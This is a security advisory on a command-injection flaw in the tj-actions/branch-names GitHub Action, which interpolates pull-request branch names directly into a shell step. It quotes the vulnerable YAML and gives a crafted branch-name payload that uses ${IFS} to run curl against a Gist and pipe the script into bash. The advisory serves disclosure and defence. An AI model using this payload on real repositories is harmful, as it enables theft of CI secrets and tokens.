Summary

The tj-actions/branch-names GitHub Actions references the github.event.pull_request.head.ref and github.head_ref context variables within a GitHub Actions run step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.

Details

The vulnerable code is within the action.yml file the run step references the value directly, instead of a sanitized variable.

runs:
  using: "composite"
  steps:
    - id: branch
      run: |
        # "Set branch names..."
        if [[ "${{ github.ref }}" != "refs/tags/"* ]]; then
          BASE_REF=$(printf "%q" "${{ github.event.pull_request.base.ref || github.base_ref }}")
          HEAD_REF=$(printf "%q" "${{ github.event.pull_request.head.ref || github.head_ref }}")
          REF=$(printf "%q" "${{ github.ref }}")

An attacker can use a branch name to inject arbitrary code, for example: Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.

Impact

An attacker can use this vulnerability to steal secrets from or abuse GITHUB_TOKEN permissions.

Reference

• https://securitylab.github.com/research/github-actions-untrusted-input